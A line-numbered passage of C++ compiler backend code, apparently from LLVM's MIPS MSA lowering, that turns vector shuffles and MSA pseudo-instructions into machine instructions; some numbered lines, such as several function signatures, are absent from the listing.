2734 // When undef's appear in the mask they are treated as if they were whatever
2735 // value is necessary in order to fit the above forms.
2737 SmallVector<int, 16> Indices,
2738 SelectionDAG &DAG) {
2739 assert((Indices.size() % 2) == 0);
2740
2741 unsigned HalfSize = Indices.size() / 2;
2742 SDValue Wt;
2743 SDValue Ws;
2744 const auto &Begin = Indices.begin();
2745 const auto &End = Indices.end();
2746
2747 // Check even elements are taken from the left (highest-indexed) elements of
2748 // one half or the other and pick an operand accordingly.
2749 if (fitsRegularPattern<int>(Begin, 2, End, HalfSize, 1))
2750 Wt = Op->getOperand(0);
2751 else if (fitsRegularPattern<int>(Begin, 2, End, Indices.size() + HalfSize, 1))
2752 Wt = Op->getOperand(1);
2753 else
2754 return SDValue();
2755
2756 // Check odd elements are taken from the left (highest-indexed) elements of
2757 // one half or the other and pick an operand accordingly.
2758 if (fitsRegularPattern<int>(Begin + 1, 2, End, HalfSize, 1))
2759 Ws = Op->getOperand(0);
2760 else if (fitsRegularPattern<int>(Begin + 1, 2, End, Indices.size() + HalfSize,
2761 1))
2762 Ws = Op->getOperand(1);
2763 else
2764 return SDValue();
2765
2766 return DAG.getNode(MipsISD::ILVL, SDLoc(Op), ResTy, Ws, Wt);
2767 }
2768
2769 // Lower VECTOR_SHUFFLE into PCKEV (if possible).
2770 //
2771 // PCKEV copies the even elements of each vector into the result vector.
2772 //
2773 // It is possible to lower into PCKEV when the mask consists of two of the
2774 // following forms concatenated:
2775 // <0, 2, 4, ...>
2776 // <n, n+2, n+4, ...>
2777 // where n is the number of elements in the vector.
2778 // For example:
2779 // <0, 2, 4, ..., 0, 2, 4, ...>
2780 // <0, 2, 4, ..., n, n+2, n+4, ...>
2781 //
2782 // When undef's appear in the mask they are treated as if they were whatever
2783 // value is necessary in order to fit the above forms.
2785 SmallVector<int, 16> Indices,
2786 SelectionDAG &DAG) {
2787 assert((Indices.size() % 2) == 0);
2788
2789 SDValue Wt;
2790 SDValue Ws;
2791 const auto &Begin = Indices.begin();
2792 const auto &Mid = Indices.begin() + Indices.size() / 2;
2793 const auto &End = Indices.end();
2794
2795 if (fitsRegularPattern<int>(Begin, 1, Mid, 0, 2))
2796 Wt = Op->getOperand(0);
2797 else if (fitsRegularPattern<int>(Begin, 1, Mid, Indices.size(), 2))
2798 Wt = Op->getOperand(1);
2799 else
2800 return SDValue();
2801
2802 if (fitsRegularPattern<int>(Mid, 1, End, 0, 2))
2803 Ws = Op->getOperand(0);
2804 else if (fitsRegularPattern<int>(Mid, 1, End, Indices.size(), 2))
2805 Ws = Op->getOperand(1);
2806 else
2807 return SDValue();
2808
2809 return DAG.getNode(MipsISD::PCKEV, SDLoc(Op), ResTy, Ws, Wt);
2810 }
2811
2812 // Lower VECTOR_SHUFFLE into PCKOD (if possible).
2813 //
2814 // PCKOD copies the odd elements of each vector into the result vector.
2815 //
2816 // It is possible to lower into PCKOD when the mask consists of two of the
2817 // following forms concatenated:
2818 // <1, 3, 5, ...>
2819 // <n+1, n+3, n+5, ...>
2820 // where n is the number of elements in the vector.
2821 // For example:
2822 // <1, 3, 5, ..., 1, 3, 5, ...>
2823 // <1, 3, 5, ..., n+1, n+3, n+5, ...>
2824 //
2825 // When undef's appear in the mask they are treated as if they were whatever
2826 // value is necessary in order to fit the above forms.
2828 SmallVector<int, 16> Indices,
2829 SelectionDAG &DAG) {
2830 assert((Indices.size() % 2) == 0);
2831
2832 SDValue Wt;
2833 SDValue Ws;
2834 const auto &Begin = Indices.begin();
2835 const auto &Mid = Indices.begin() + Indices.size() / 2;
2836 const auto &End = Indices.end();
2837
2838 if (fitsRegularPattern<int>(Begin, 1, Mid, 1, 2))
2839 Wt = Op->getOperand(0);
2840 else if (fitsRegularPattern<int>(Begin, 1, Mid, Indices.size() + 1, 2))
2841 Wt = Op->getOperand(1);
2842 else
2843 return SDValue();
2844
2845 if (fitsRegularPattern<int>(Mid, 1, End, 1, 2))
2846 Ws = Op->getOperand(0);
2847 else if (fitsRegularPattern<int>(Mid, 1, End, Indices.size() + 1, 2))
2848 Ws = Op->getOperand(1);
2849 else
2850 return SDValue();
2851
2852 return DAG.getNode(MipsISD::PCKOD, SDLoc(Op), ResTy, Ws, Wt);
2853 }
2854
2855 // Lower VECTOR_SHUFFLE into VSHF.
2856 //
2857 // This mostly consists of converting the shuffle indices in Indices into a
2858 // BUILD_VECTOR and adding it as an operand to the resulting VSHF. There is
2859 // also code to eliminate unused operands of the VECTOR_SHUFFLE. For example,
2860 // if the type is v8i16 and all the indices are less than 8 then the second
2861 // operand is unused and can be replaced with anything. We choose to replace it
2862 // with the used operand since this reduces the number of instructions overall.
2864 SmallVector<int, 16> Indices,
2865 SelectionDAG &DAG) {
2867 SDValue Op0;
2868 SDValue Op1;
2869 EVT MaskVecTy = ResTy.changeVectorElementTypeToInteger();
2870 EVT MaskEltTy = MaskVecTy.getVectorElementType();
2871 bool Using1stVec = false;
2872 bool Using2ndVec = false;
2873 SDLoc DL(Op);
2874 int ResTyNumElts = ResTy.getVectorNumElements();
2875
2876 for (int i = 0; i < ResTyNumElts; ++i) {
2877 // Idx == -1 means UNDEF
2878 int Idx = Indices[i];
2879
2880 if (0 <= Idx && Idx < ResTyNumElts)
2881 Using1stVec = true;
2882 if (ResTyNumElts <= Idx && Idx < ResTyNumElts * 2)
2883 Using2ndVec = true;
2884 }
2885
2886 for (SmallVector<int, 16>::iterator I = Indices.begin(); I != Indices.end();
2887 ++I)
2888 Ops.push_back(DAG.getTargetConstant(*I, DL, MaskEltTy));
2889
2890 SDValue MaskVec = DAG.getBuildVector(MaskVecTy, DL, Ops);
2891
2892 if (Using1stVec && Using2ndVec) {
2893 Op0 = Op->getOperand(0);
2894 Op1 = Op->getOperand(1);
2895 } else if (Using1stVec)
2896 Op0 = Op1 = Op->getOperand(0);
2897 else if (Using2ndVec)
2898 Op0 = Op1 = Op->getOperand(1);
2899 else
2900 llvm_unreachable("shuffle vector mask references neither vector operand?");
2901
2902 // VECTOR_SHUFFLE concatenates the vectors in an vectorwise fashion.
2903 // <0b00, 0b01> + <0b10, 0b11> -> <0b00, 0b01, 0b10, 0b11>
2904 // VSHF concatenates the vectors in a bitwise fashion:
2905 // <0b00, 0b01> + <0b10, 0b11> ->
2906 // 0b0100 + 0b1110 -> 0b01001110
2907 // <0b10, 0b11, 0b00, 0b01>
2908 // We must therefore swap the operands to get the correct result.
2909 return DAG.getNode(MipsISD::VSHF, DL, ResTy, MaskVec, Op1, Op0);
2910 }
2911
2912 // Lower VECTOR_SHUFFLE into one of a number of instructions depending on the
2913 // indices in the shuffle.
2914 SDValue MipsSETargetLowering::lowerVECTOR_SHUFFLE(SDValue Op,
2915 SelectionDAG &DAG) const {
2916 ShuffleVectorSDNode *Node = cast<ShuffleVectorSDNode>(Op);
2917 EVT ResTy = Op->getValueType(0);
2918
2919 if (!ResTy.is128BitVector())
2920 return SDValue();
2921
2922 int ResTyNumElts = ResTy.getVectorNumElements();
2923 SmallVector<int, 16> Indices;
2924
2925 for (int i = 0; i < ResTyNumElts; ++i)
2926 Indices.push_back(Node->getMaskElt(i));
2927
2928 // splati.[bhwd] is preferable to the others but is matched from
2929 // MipsISD::VSHF.
2930 if (isVECTOR_SHUFFLE_SPLATI(Op, ResTy, Indices, DAG))
2931 return lowerVECTOR_SHUFFLE_VSHF(Op, ResTy, Indices, DAG);
2932 SDValue Result;
2933 if ((Result = lowerVECTOR_SHUFFLE_ILVEV(Op, ResTy, Indices, DAG)))
2934 return Result;
2935 if ((Result = lowerVECTOR_SHUFFLE_ILVOD(Op, ResTy, Indices, DAG)))
2936 return Result;
2937 if ((Result = lowerVECTOR_SHUFFLE_ILVL(Op, ResTy, Indices, DAG)))
2938 return Result;
2939 if ((Result = lowerVECTOR_SHUFFLE_ILVR(Op, ResTy, Indices, DAG)))
2940 return Result;
2941 if ((Result = lowerVECTOR_SHUFFLE_PCKEV(Op, ResTy, Indices, DAG)))
2942 return Result;
2943 if ((Result = lowerVECTOR_SHUFFLE_PCKOD(Op, ResTy, Indices, DAG)))
2944 return Result;
2945 if ((Result = lowerVECTOR_SHUFFLE_SHF(Op, ResTy, Indices, DAG)))
2946 return Result;
2947 return lowerVECTOR_SHUFFLE_VSHF(Op, ResTy, Indices, DAG);
2948 }
2949
2951 MipsSETargetLowering::emitBPOSGE32(MachineInstr &MI,
2952 MachineBasicBlock *BB) const {
2953 // $bb:
2954 // bposge32_pseudo $vr0
2955 // =>
2956 // $bb:
2957 // bposge32 $tbb
2958 // $fbb:
2959 // li $vr2, 0
2960 // b $sink
2961 // $tbb:
2962 // li $vr1, 1
2963 // $sink:
2964 // $vr0 = phi($vr2, $fbb, $vr1, $tbb)
2965
2966 MachineRegisterInfo &RegInfo = BB->getParent()->getRegInfo();
2968 const TargetRegisterClass *RC = &Mips::GPR32RegClass;
2969 DebugLoc DL = MI.getDebugLoc();
2970 const BasicBlock *LLVM_BB = BB->getBasicBlock();
2972 MachineFunction *F = BB->getParent();
2973 MachineBasicBlock *FBB = F->CreateMachineBasicBlock(LLVM_BB);
2974 MachineBasicBlock *TBB = F->CreateMachineBasicBlock(LLVM_BB);
2976 F->insert(It, FBB);
2977 F->insert(It, TBB);
2978 F->insert(It, Sink);
2979
2980 // Transfer the remainder of BB and its successor edges to Sink.
2981 Sink->splice(Sink->begin(), BB, std::next(MachineBasicBlock::iterator(MI)),
2982 BB->end());
2984
2985 // Add successors.
2986 BB->addSuccessor(FBB);
2987 BB->addSuccessor(TBB);
2988 FBB->addSuccessor(Sink);
2989 TBB->addSuccessor(Sink);
2990
2991 // Insert the real bposge32 instruction to $BB.
2992 BuildMI(BB, DL, TII->get(Mips::BPOSGE32)).addMBB(TBB);
2993 // Insert the real bposge32c instruction to $BB.
2994 BuildMI(BB, DL, TII->get(Mips::BPOSGE32C_MMR3)).addMBB(TBB);
2995
2996 // Fill $FBB.
2997 unsigned VR2 = RegInfo.createVirtualRegister(RC);
2998 BuildMI(*FBB, FBB->end(), DL, TII->get(Mips::ADDiu), VR2)
2999 .addReg(Mips::ZERO).addImm(0);
3000 BuildMI(*FBB, FBB->end(), DL, TII->get(Mips::B)).addMBB(Sink);
3001
3002 // Fill $TBB.
3003 unsigned VR1 = RegInfo.createVirtualRegister(RC);
3004 BuildMI(*TBB, TBB->end(), DL, TII->get(Mips::ADDiu), VR1)
3005 .addReg(Mips::ZERO).addImm(1);
3006
3007 // Insert phi function to $Sink.
3008 BuildMI(*Sink, Sink->begin(), DL, TII->get(Mips::PHI),
3009 MI.getOperand(0).getReg())
3010 .addReg(VR2)
3011 .addMBB(FBB)
3012 .addReg(VR1)
3013 .addMBB(TBB);
3014
3015 MI.eraseFromParent(); // The pseudo instruction is gone now.
3016 return Sink;
3017 }
3018
3019 MachineBasicBlock *MipsSETargetLowering::emitMSACBranchPseudo(
3020 MachineInstr &MI, MachineBasicBlock *BB, unsigned BranchOp) const {
3021 // $bb:
3022 // vany_nonzero $rd, $ws
3023 // =>
3024 // $bb:
3025 // bnz.b $ws, $tbb
3026 // b $fbb
3027 // $fbb:
3028 // li $rd1, 0
3029 // b $sink
3030 // $tbb:
3031 // li $rd2, 1
3032 // $sink:
3033 // $rd = phi($rd1, $fbb, $rd2, $tbb)
3034
3035 MachineRegisterInfo &RegInfo = BB->getParent()->getRegInfo();
3037 const TargetRegisterClass *RC = &Mips::GPR32RegClass;
3038 DebugLoc DL = MI.getDebugLoc();
3039 const BasicBlock *LLVM_BB = BB->getBasicBlock();
3041 MachineFunction *F = BB->getParent();
3042 MachineBasicBlock *FBB = F->CreateMachineBasicBlock(LLVM_BB);
3043 MachineBasicBlock *TBB = F->CreateMachineBasicBlock(LLVM_BB);
3045 F->insert(It, FBB);
3046 F->insert(It, TBB);
3047 F->insert(It, Sink);
3048
3049 // Transfer the remainder of BB and its successor edges to Sink.
3050 Sink->splice(Sink->begin(), BB, std::next(MachineBasicBlock::iterator(MI)),
3051 BB->end());
3053
3054 // Add successors.
3055 BB->addSuccessor(FBB);
3056 BB->addSuccessor(TBB);
3057 FBB->addSuccessor(Sink);
3058 TBB->addSuccessor(Sink);
3059
3060 // Insert the real bnz.b instruction to $BB.
3061 BuildMI(BB, DL, TII->get(BranchOp))
3062 .addReg(MI.getOperand(1).getReg())
3063 .addMBB(TBB);
3064
3065 // Fill $FBB.
3066 unsigned RD1 = RegInfo.createVirtualRegister(RC);
3067 BuildMI(*FBB, FBB->end(), DL, TII->get(Mips::ADDiu), RD1)
3068 .addReg(Mips::ZERO).addImm(0);
3069 BuildMI(*FBB, FBB->end(), DL, TII->get(Mips::B)).addMBB(Sink);
3070
3071 // Fill $TBB.
3072 unsigned RD2 = RegInfo.createVirtualRegister(RC);
3073 BuildMI(*TBB, TBB->end(), DL, TII->get(Mips::ADDiu), RD2)
3074 .addReg(Mips::ZERO).addImm(1);
3075
3076 // Insert phi function to $Sink.
3077 BuildMI(*Sink, Sink->begin(), DL, TII->get(Mips::PHI),
3078 MI.getOperand(0).getReg())
3079 .addReg(RD1)
3080 .addMBB(FBB)
3081 .addReg(RD2)
3082 .addMBB(TBB);
3083
3084 MI.eraseFromParent(); // The pseudo instruction is gone now.
3085 return Sink;
3086 }
3087
3088 // Emit the COPY_FW pseudo instruction.
3089 //
3090 // copy_fw_pseudo $fd, $ws, n
3091 // =>
3092 // copy_u_w $rt, $ws, $n
3093 // mtc1 $rt, $fd
3094 //
3095 // When n is zero, the equivalent operation can be performed with (potentially)
3096 // zero instructions due to register overlaps. This optimization is never valid
3097 // for lane 1 because it would require FR=0 mode which isn't supported by MSA.
3099 MipsSETargetLowering::emitCOPY_FW(MachineInstr &MI,
3100 MachineBasicBlock *BB) const {
3102 MachineRegisterInfo &RegInfo = BB->getParent()->getRegInfo();
3103 DebugLoc DL = MI.getDebugLoc();
3104 unsigned Fd = MI.getOperand(0).getReg();
3105 unsigned Ws = MI.getOperand(1).getReg();
3106 unsigned Lane = MI.getOperand(2).getImm();
3107
3108 if (Lane == 0) {
3109 unsigned Wt = Ws;
3110 if (!Subtarget.useOddSPReg()) {
3111 // We must copy to an even-numbered MSA register so that the
3112 // single-precision sub-register is also guaranteed to be even-numbered.
3113 Wt = RegInfo.createVirtualRegister(&Mips::MSA128WEvensRegClass);
3114
3115 BuildMI(*BB, MI, DL, TII->get(Mips::COPY), Wt).addReg(Ws);
3116 }
3117
3118 BuildMI(*BB, MI, DL, TII->get(Mips::COPY), Fd).addReg(Wt, 0, Mips::sub_lo);
3119 } else {
3120 unsigned Wt = RegInfo.createVirtualRegister(
3121 Subtarget.useOddSPReg() ? &Mips::MSA128WRegClass :
3122 &Mips::MSA128WEvensRegClass);
3123
3124 BuildMI(*BB, MI, DL, TII->get(Mips::SPLATI_W), Wt).addReg(Ws).addImm(Lane);
3125 BuildMI(*BB, MI, DL, TII->get(Mips::COPY), Fd).addReg(Wt, 0, Mips::sub_lo);
3126 }
3127
3128 MI.eraseFromParent(); // The pseudo instruction is gone now.
3129 return BB;
3130 }
3131
3132 // Emit the COPY_FD pseudo instruction.
3133 //
3134 // copy_fd_pseudo $fd, $ws, n
3135 // =>
3136 // splati.d $wt, $ws, $n
3137 // copy $fd, $wt:sub_64
3138 //
3139 // When n is zero, the equivalent operation can be performed with (potentially)
3140 // zero instructions due to register overlaps. This optimization is always
3141 // valid because FR=1 mode which is the only supported mode in MSA.
3143 MipsSETargetLowering::emitCOPY_FD(MachineInstr &MI,
3144 MachineBasicBlock *BB) const {
3146
3148 MachineRegisterInfo &RegInfo = BB->getParent()->getRegInfo();
3149 unsigned Fd = MI.getOperand(0).getReg();
3150 unsigned Ws = MI.getOperand(1).getReg();
3151 unsigned Lane = MI.getOperand(2).getImm() * 2;
3152 DebugLoc DL = MI.getDebugLoc();
3153
3154 if (Lane == 0)
3155 BuildMI(*BB, MI, DL, TII->get(Mips::COPY), Fd).addReg(Ws, 0, Mips::sub_64);
3156 else {
3157 unsigned Wt = RegInfo.createVirtualRegister(&Mips::MSA128DRegClass);
3158
3159 BuildMI(*BB, MI, DL, TII->get(Mips::SPLATI_D), Wt).addReg(Ws).addImm(1);
3160 BuildMI(*BB, MI, DL, TII->get(Mips::COPY), Fd).addReg(Wt, 0, Mips::sub_64);
3161 }
3162
3163 MI.eraseFromParent(); // The pseudo instruction is gone now.
3164 return BB;
3165 }
3166
3167 // Emit the INSERT_FW pseudo instruction.
3168 //
3169 // insert_fw_pseudo $wd, $wd_in, $n, $fs
3170 // =>
3171 // subreg_to_reg $wt:sub_lo, $fs
3172 // insve_w $wd[$n], $wd_in, $wt[0]
3174 MipsSETargetLowering::emitINSERT_FW(MachineInstr &MI,
3175 MachineBasicBlock *BB) const {
3177 MachineRegisterInfo &RegInfo = BB->getParent()->getRegInfo();
3178 DebugLoc DL = MI.getDebugLoc();
3179 unsigned Wd = MI.getOperand(0).getReg();
3180 unsigned Wd_in = MI.getOperand(1).getReg();
3181 unsigned Lane = MI.getOperand(2).getImm();
3182 unsigned Fs = MI.getOperand(3).getReg();
3183 unsigned Wt = RegInfo.createVirtualRegister(
3184 Subtarget.useOddSPReg() ? &Mips::MSA128WRegClass :
3185 &Mips::MSA128WEvensRegClass);
3186
3187 BuildMI(*BB, MI, DL, TII->get(Mips::SUBREG_TO_REG), Wt)
3188 .addImm(0)
3189 .addReg(Fs)
3190 .addImm(Mips::sub_lo);
3191 BuildMI(*BB, MI, DL, TII->get(Mips::INSVE_W), Wd)
3192 .addReg(Wd_in)
3193 .addImm(Lane)
3194 .addReg(Wt)
3195 .addImm(0);
3196
3197 MI.eraseFromParent(); // The pseudo instruction is gone now.
3198 return BB;
3199 }
3200
3201 // Emit the INSERT_FD pseudo instruction.
3202 //
3203 // insert_fd_pseudo $wd, $fs, n
3204 // =>
3205 // subreg_to_reg $wt:sub_64, $fs
3206 // insve_d $wd[$n], $wd_in, $wt[0]
3208 MipsSETargetLowering::emitINSERT_FD(MachineInstr &MI,
3209 MachineBasicBlock *BB) const {
3211
3213 MachineRegisterInfo &RegInfo = BB->getParent()->getRegInfo();
3214 DebugLoc DL = MI.getDebugLoc();
3215 unsigned Wd = MI.getOperand(0).getReg();
3216 unsigned Wd_in = MI.getOperand(1).getReg();
3217 unsigned Lane = MI.getOperand(2).getImm();
3218 unsigned Fs = MI.getOperand(3).getReg();
3219 unsigned Wt = RegInfo.createVirtualRegister(&Mips::MSA128DRegClass);
3220
3221 BuildMI(*BB, MI, DL, TII->get(Mips::SUBREG_TO_REG), Wt)
3222 .addImm(0)
3223 .addReg(Fs)
3224 .addImm(Mips::sub_64);
3225 BuildMI(*BB, MI, DL, TII->get(Mips::INSVE_D), Wd)
3226 .addReg(Wd_in)
3227 .addImm(Lane)
3228 .addReg(Wt)
3229 .addImm(0);
3230
3231 MI.eraseFromParent(); // The pseudo instruction is gone now.
3232 return BB;
3233 }
3234
3235 // Emit the INSERT_([BHWD]|F[WD])_VIDX pseudo instruction.
3236 //
3237 // For integer:
3238 // (INSERT_([BHWD]|F[WD])_PSEUDO $wd, $wd_in, $n, $rs)
3239 // =>
3240 // (SLL $lanetmp1, $lane, <log2size)
3241 // (SLD_B $wdtmp1, $wd_in, $wd_in, $lanetmp1)
3242 // (INSERT_[BHWD], $wdtmp2, $wdtmp1, 0, $rs)
3243 // (NEG $lanetmp2, $lanetmp1)
3244 // (SLD_B $wd, $wdtmp2, $wdtmp2, $lanetmp2)
3245 //
3246 // For floating point:
3247 // (INSERT_([BHWD]|F[WD])_PSEUDO $wd, $wd_in, $n, $fs)
3248 // =>
3249 // (SUBREG_TO_REG $wt, $fs, <subreg>)
3250 // (SLL $lanetmp1, $lane, <log2size)
3251 // (SLD_B $wdtmp1, $wd_in, $wd_in, $lanetmp1)
3252 // (INSVE_[WD], $wdtmp2, 0, $wdtmp1, 0)
3253 // (NEG $lanetmp2, $lanetmp1)
3254 // (SLD_B $wd, $wdtmp2, $wdtmp2, $lanetmp2)
3255 MachineBasicBlock *MipsSETargetLowering::emitINSERT_DF_VIDX(
3256 MachineInstr &MI, MachineBasicBlock *BB, unsigned EltSizeInBytes,
3257 bool IsFP) const {
3259 MachineRegisterInfo &RegInfo = BB->getParent()->getRegInfo();
3260 DebugLoc DL = MI.getDebugLoc();
3261 unsigned Wd = MI.getOperand(0).getReg();
3262 unsigned SrcVecReg = MI.getOperand(1).getReg();
3263 unsigned LaneReg = MI.getOperand(2).getReg();
3264 unsigned SrcValReg = MI.getOperand(3).getReg();
3265
3266 const TargetRegisterClass *VecRC = nullptr;
3267 // FIXME: This should be true for N32 too.
3268 const TargetRegisterClass *GPRRC =
3269 Subtarget.isABI_N64() ? &Mips::GPR64RegClass : &Mips::GPR32RegClass;
3270 unsigned SubRegIdx = Subtarget.isABI_N64() ? Mips::sub_32 : 0;
3271 unsigned ShiftOp = Subtarget.isABI_N64() ? Mips::DSLL : Mips::SLL;
3272 unsigned EltLog2Size;
3273 unsigned InsertOp = 0;
3274 unsigned InsveOp = 0;
3275 switch (EltSizeInBytes) {
3276 default:
3277 llvm_unreachable("Unexpected size");
3278 case 1:
3279 EltLog2Size = 0;
3280 InsertOp = Mips::INSERT_B;
3281 InsveOp = Mips::INSVE_B;
3282 VecRC = &Mips::MSA128BRegClass;
3283 break;
3284 case 2:
3285 EltLog2Size = 1;
3286 InsertOp = Mips::INSERT_H;
3287 InsveOp = Mips::INSVE_H;
3288 VecRC = &Mips::MSA128HRegClass;
3289 break;
3290 case 4:
3291 EltLog2Size = 2;
3292 InsertOp = Mips::INSERT_W;
3293 InsveOp = Mips::INSVE_W;
3294 VecRC = &Mips::MSA128WRegClass;
3295 break;
3296 case 8:
3297 EltLog2Size = 3;
3298 InsertOp = Mips::INSERT_D;
3299 InsveOp = Mips::INSVE_D;
3300 VecRC = &Mips::MSA128DRegClass;
3301 break;
3302 }
3303
3304 if (IsFP) {
3305 unsigned Wt = RegInfo.createVirtualRegister(VecRC);
3306 BuildMI(*BB, MI, DL, TII->get(Mips::SUBREG_TO_REG), Wt)
3307 .addImm(0)
3308 .addReg(SrcValReg)
3309 .addImm(EltSizeInBytes == 8 ? Mips::sub_64 : Mips::sub_lo);
3310 SrcValReg = Wt;
3311 }
3312
3313 // Convert the lane index into a byte index
3314 if (EltSizeInBytes != 1) {
3315 unsigned LaneTmp1 = RegInfo.createVirtualRegister(GPRRC);
3316 BuildMI(*BB, MI, DL, TII->get(ShiftOp), LaneTmp1)
3317 .addReg(LaneReg)
3318 .addImm(EltLog2Size);
3319 LaneReg = LaneTmp1;
3320 }
3321
3322 // Rotate bytes around so that the desired lane is element zero
3323 unsigned WdTmp1 = RegInfo.createVirtualRegister(VecRC);
3324 BuildMI(*BB, MI, DL, TII->get(Mips::SLD_B), WdTmp1)
3325 .addReg(SrcVecReg)
3326 .addReg(SrcVecReg)
3327 .addReg(LaneReg, 0, SubRegIdx);
3328
3329 unsigned WdTmp2 = RegInfo.createVirtualRegister(VecRC);
3330 if (IsFP) {
3331 // Use insve.df to insert to element zero
3332 BuildMI(*BB, MI, DL, TII->get(InsveOp), WdTmp2)
3333 .addReg(WdTmp1)
3334 .addImm(0)
3335 .addReg(SrcValReg)
3336 .addImm(0);
3337 } else {
3338 // Use insert.df to insert to element zero
3339 BuildMI(*BB, MI, DL, TII->get(InsertOp), WdTmp2)
3340 .addReg(WdTmp1)
3341 .addReg(SrcValReg)
3342 .addImm(0);
3343 }
3344
3345 // Rotate elements the rest of the way for a full rotation.
3346 // sld.df inteprets $rt modulo the number of columns so we only need to negate
3347 // the lane index to do this.
3348 unsigned LaneTmp2 = RegInfo.createVirtualRegister(GPRRC);
3349 BuildMI(*BB, MI, DL, TII->get(Subtarget.isABI_N64() ? Mips::DSUB : Mips::SUB),
3350 LaneTmp2)
3351 .addReg(Subtarget.isABI_N64() ? Mips::ZERO_64 : Mips::ZERO)
3352 .addReg(LaneReg);
3353 BuildMI(*BB, MI, DL, TII->get(Mips::SLD_B), Wd)
3354 .addReg(WdTmp2)
3355 .addReg(WdTmp2)
3356 .addReg(LaneTmp2, 0, SubRegIdx);
3357
3358 MI.eraseFromParent(); // The pseudo instruction is gone now.
3359 return BB;
3360 }
3361
3362 // Emit the FILL_FW pseudo instruction.
3363 //
3364 // fill_fw_pseudo $wd, $fs
3365 // =>
3366 // implicit_def $wt1
3367 // insert_subreg $wt2:subreg_lo, $wt1, $fs
3368 // splati.w $wd, $wt2[0]
3370 MipsSETargetLowering::emitFILL_FW(MachineInstr &MI,
3371 MachineBasicBlock *BB) const {
3373 MachineRegisterInfo &RegInfo = BB->getParent()->getRegInfo();
3374 DebugLoc DL = MI.getDebugLoc();
3375 unsigned Wd = MI.getOperand(0).getReg();
3376 unsigned Fs = MI.getOperand(1).getReg();
3377 unsigned Wt1 = RegInfo.createVirtualRegister(
3378 Subtarget.useOddSPReg() ? &Mips::MSA128WRegClass
3379 : &Mips::MSA128WEvensRegClass);
3380 unsigned Wt2 = RegInfo.createVirtualRegister(
3381 Subtarget.useOddSPReg() ? &Mips::MSA128WRegClass
3382 : &Mips::MSA128WEvensRegClass);
3383
3384 BuildMI(*BB, MI, DL, TII->get(Mips::IMPLICIT_DEF), Wt1);
3385 BuildMI(*BB, MI, DL, TII->get(Mips::INSERT_SUBREG), Wt2)
3386 .addReg(Wt1)
3387 .addReg(Fs)
3388 .addImm(Mips::sub_lo);
3389 BuildMI(*BB, MI, DL, TII->get(Mips::SPLATI_W), Wd).addReg(Wt2).addImm(0);
3390
3391 MI.eraseFromParent(); // The pseudo instruction is gone now.
3392 return BB;
3393 }
3394
3395 // Emit the FILL_FD pseudo instruction.
3396 //
3397 // fill_fd_pseudo $wd, $fs
3398 // =>
3399 // implicit_def $wt1
3400 // insert_subreg $wt2:subreg_64, $wt1, $fs
3401 // splati.d $wd, $wt2[0]
3403 MipsSETargetLowering::emitFILL_FD(MachineInstr &MI,
3404 MachineBasicBlock *BB) const {
3406
3408 MachineRegisterInfo &RegInfo = BB->getParent()->getRegInfo();
3409 DebugLoc DL = MI.getDebugLoc();
3410 unsigned Wd = MI.getOperand(0).getReg();
3411 unsigned Fs = MI.getOperand(1).getReg();
3412 unsigned Wt1 = RegInfo.createVirtualRegister(&Mips::MSA128DRegClass);
3413 unsigned Wt2 = RegInfo.createVirtualRegister(&Mips::MSA128DRegClass);
3414
3415 BuildMI(*BB, MI, DL, TII->get(Mips::IMPLICIT_DEF), Wt1);
3416 BuildMI(*BB, MI, DL, TII->get(Mips::INSERT_SUBREG), Wt2)
3417 .addReg(Wt1)
3418 .addReg(Fs)
3419 .addImm(Mips::sub_64);
3420 BuildMI(*BB, MI, DL, TII->get(Mips::SPLATI_D), Wd).addReg(Wt2).addImm(0);
3421
3422 MI.eraseFromParent(); // The pseudo instruction is gone now.
3423 return BB;
3424 }
3425
3426 // Emit the ST_F16_PSEDUO instruction to store a f16 value from an MSA
3427 // register.
3428 //
3429 // STF16 MSA128F16:$wd, mem_simm10:$addr
3430 // =>
3431 // copy_u.h $rtemp,$wd[0]
3432 // sh $rtemp, $addr
3433 //
3434 // Safety: We can't use st.h & co as they would over write the memory after
3435 // the destination. It would require half floats be allocated 16 bytes(!) of
3436 // space.
3438 MipsSETargetLowering::emitST_F16_PSEUDO(MachineInstr &MI,
3439 MachineBasicBlock *BB) const {
3440
3442 MachineRegisterInfo &RegInfo = BB->getParent()->getRegInfo();
3443 DebugLoc DL = MI.getDebugLoc();
3444 unsigned Ws = MI.getOperand(0).getReg();
3445 unsigned Rt = MI.getOperand(1).getReg();
3446 const MachineMemOperand &MMO = **MI.memoperands_begin();
3447 unsigned Imm = MMO.getOffset();
3448
3449 // Caution: A load via the GOT can expand to a GPR32 operand, a load via
3450 // spill and reload can expand as a GPR64 operand. Examine the
3451 // operand in detail and default to ABI.
3452 const TargetRegisterClass *RC =
3453 MI.getOperand(1).isReg() ? RegInfo.getRegClass(MI.getOperand(1).getReg())
3454 : (Subtarget.isABI_O32() ? &Mips::GPR32RegClass
3455 : &Mips::GPR64RegClass);
3456 const bool UsingMips32 = RC == &Mips::GPR32RegClass;
3457 unsigned Rs = RegInfo.createVirtualRegister(&Mips::GPR32RegClass);
3458
3459 BuildMI(*BB, MI, DL, TII->get(Mips::COPY_U_H), Rs).addReg(Ws).addImm(0);
3460 if(!UsingMips32) {
3461 unsigned Tmp = RegInfo.createVirtualRegister(&Mips::GPR64RegClass);
3462 BuildMI(*BB, MI, DL, TII->get(Mips::SUBREG_TO_REG), Tmp)
3463 .addImm(0)
3464 .addReg(Rs)
3465 .addImm(Mips::sub_32);
3466 Rs = Tmp;
3467 }
3468 BuildMI(*BB, MI, DL, TII->get(UsingMips32 ? Mips::SH : Mips::SH64))
3469 .addReg(Rs)
3470 .addReg(Rt)
3471 .addImm(Imm)
3473 &MMO, MMO.getOffset(), MMO.getSize()));
3474
3475 MI.eraseFromParent();
3476 return BB;
3477 }
3478
3479 // Emit the LD_F16_PSEDUO instruction to load a f16 value into an MSA register.
3480 //
3481 // LD_F16 MSA128F16:$wd, mem_simm10:$addr
3482 // =>
3483 // lh $rtemp, $addr
3484 // fill.h $wd, $rtemp
3485 //
3486 // Safety: We can't use ld.h & co as they over-read from the source.
3487 // Additionally, if the address is not modulo 16, 2 cases can occur:
3488 // a) Segmentation fault as the load instruction reads from a memory page
3489 // memory it's not supposed to.
3490 // b) The load crosses an implementation specific boundary, requiring OS
3491 // intervention.
3493 MipsSETargetLowering::emitLD_F16_PSEUDO(MachineInstr &MI,
3494 MachineBasicBlock *BB) const {
3495
3497 MachineRegisterInfo &RegInfo = BB->getParent()->getRegInfo();
3498 DebugLoc DL = MI.getDebugLoc();
3499 unsigned Wd = MI.getOperand(0).getReg();
3500
3501 // Caution: A load via the GOT can expand to a GPR32 operand, a load via
